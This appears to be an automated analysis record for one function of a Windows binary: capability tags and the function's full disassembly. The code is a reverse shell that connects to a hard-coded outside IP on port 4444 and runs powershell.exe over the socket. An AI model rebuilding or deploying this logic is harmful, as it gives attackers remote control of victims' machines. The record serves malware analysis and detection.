Function at 0x1400112da
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
jmp 0x1400123f0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x540
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xdc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x568]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x4e8], rax
lea rcx, [0x1400240f8]
call fcn.140011415
lea rdx, [rbp + 0x10]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0
je 0x14001246f
mov ecx, dword [rbp + 0x1c4]
call fcn.140011307
mov eax, 1
jmp 0x14001266d
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [rbp + 0x1e8], rax
cmp qword [rbp + 0x1e8], 0xffffffffffffffff
jne 0x1400124c0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
call fcn.140011307
mov eax, 1
jmp 0x14001266d
mov eax, 2
mov word [rbp + 0x208], ax
lea r8, [rbp + 0x20c]
lea rdx, str.146.190.173.136
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
mov cx, 0x115c
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x20a], ax
mov r8d, 0x10
lea rdx, [rbp + 0x208]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_connect]
mov dword [rbp + 0x234], eax
cmp dword [rbp + 0x234], 0
je 0x140012536
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
call fcn.140011307
mov eax, 1
jmp 0x14001266d
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x260]
call fcn.140011339
mov dword [rbp + 0x260], WSAGetLastError
mov dword [rbp + 0x29c], 0x101
mov rax, qword [rbp + 0x1e8]
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x2c0]
mov qword [rbp + 0x2b8], rax
mov rax, qword [rbp + 0x2b8]
mov qword [rbp + 0x2b0], rax
lea rax, [rbp + 0x318]
lea rcx, str.powershell.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1e
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x2e8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x260]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x318]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400125ff
mov byte [rbp + 0x4e4], 1
jmp 0x140012606
mov byte [rbp + 0x4e4], 0
movzx eax, byte [rbp + 0x4e4]
mov byte [rbp + 0x354], al
movzx eax, byte [rbp + 0x354]
test eax, eax
jne 0x140012632
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140011307
mov eax, 1
jmp 0x14001266d
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x2e8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x2e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001ada0]
call fcn.14001139d
mov rax, rdi
mov rcx, qword [rbp + 0x4e8]
xor rcx, rbp
call fcn.1400111f4
lea rsp, [rbp + 0x4f0]
pop rdi
pop rsi
pop rbp
ret